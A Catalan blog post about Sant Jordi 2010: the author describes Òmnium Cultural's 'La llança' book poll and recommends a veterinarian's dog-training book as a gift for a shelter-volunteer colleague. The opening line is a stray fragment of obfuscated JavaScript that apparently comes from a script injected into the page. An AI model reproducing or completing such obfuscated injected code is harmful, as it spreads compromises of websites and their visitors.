_0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

La llança | Sant Jordi 2010 a Òmnium Cultural

Dissabte a la tarda vaig participar d’una iniciativa de l’Òmnium Cultural; es diu La llança i té com a objectiu saber quin llibre regalaran els lectors d’aquest espai en el dia de Sant Jordi.

Entre els participants sortegen lots de llibres, o sigui que està molt bé! L’únic inconvenient que li he trobat és que només et deixen triar UN llibre… Quin moment, aquell de clicar sobre un únic títol, fa patir!!!

101 preguntes i respostes sobre la nostra mascota

Títol: 101 consells per educar el teu gos
Autor: Amadeu Obach
Editorial: Columna
Pàgines: 186
ISBN: 978-84-664-0971-1
PVP: 18,00€

Queden dues setmanes per Sant Jordi, i jo, previsora de mena, he anat a fer un volt a veure quines idees més per regalar en treia de la passejada. La veritat és que ja tinc força llibres pensats. Sóc tradicional i m’agrada la rosa i el llibre amb el rerefons dels enamorats…, però ho faig extensible a la gent que m’estimo i m’aprecio. Entenc que és un detall i si més no, és cultura.

I m’he topat amb una curiositat. Aquest llibre que us vull explicar:  101 consells per educar el teu gos. A vegades és la persona la que atrau el llibre, d’altres, és el llibre. M’he llegit la contraportada i m’he posat a pensar… qui té gos? A qui li podria regalar? A qui li pot interessar i ser útil?

I pensant pensant, molts de la família tenen gos, però per aquest ja tinc la persona triada: se’n va directe cap a una companya de la feina! Sí, decidit, li dono a la Laura.

La Laura és d’una protectora d’animals, té a casa gats i gossos acabats de néixer o ben petits i en procés d’adopció i durant els esmorzars sempre ens en parla, així que estic segura que algunes de les pautes i consells del l’autor, Amadeu Obach, veterinari (i sense comparació amb en Julià de Ventdelplà) i col·laborador de La Vanguardia, la podran ajudar en aquesta tasca totalment desinteressada i voluntària.

Jo tinc un gat, així que de gossos no hi entenc massa, però sí que sé què és conviure amb una mascota, tenir un més de la família de quatre potes… així que he aprofitat per fer una ullada al contingut, i també es pot fer extensible als gats (en la majoria dels consells). L’estructura és molt senzilla ja que ens ho ha fet per capítols – com Alimentació, Malalties, Higiene, entre altres -i, dins de cada un, va responent les preguntes més freqüents, és a dir, com si tinguéssim una primera visita informativa al nostre veterinari.

Us deixo amb aquest “encantador de gossos” català, no cal envejar tan sovint els americans, la veritat, i amb el meu consell: “Una mascota no és regal, com ho és una joguina, cal tenir en compte la responsabilitat que comporta”.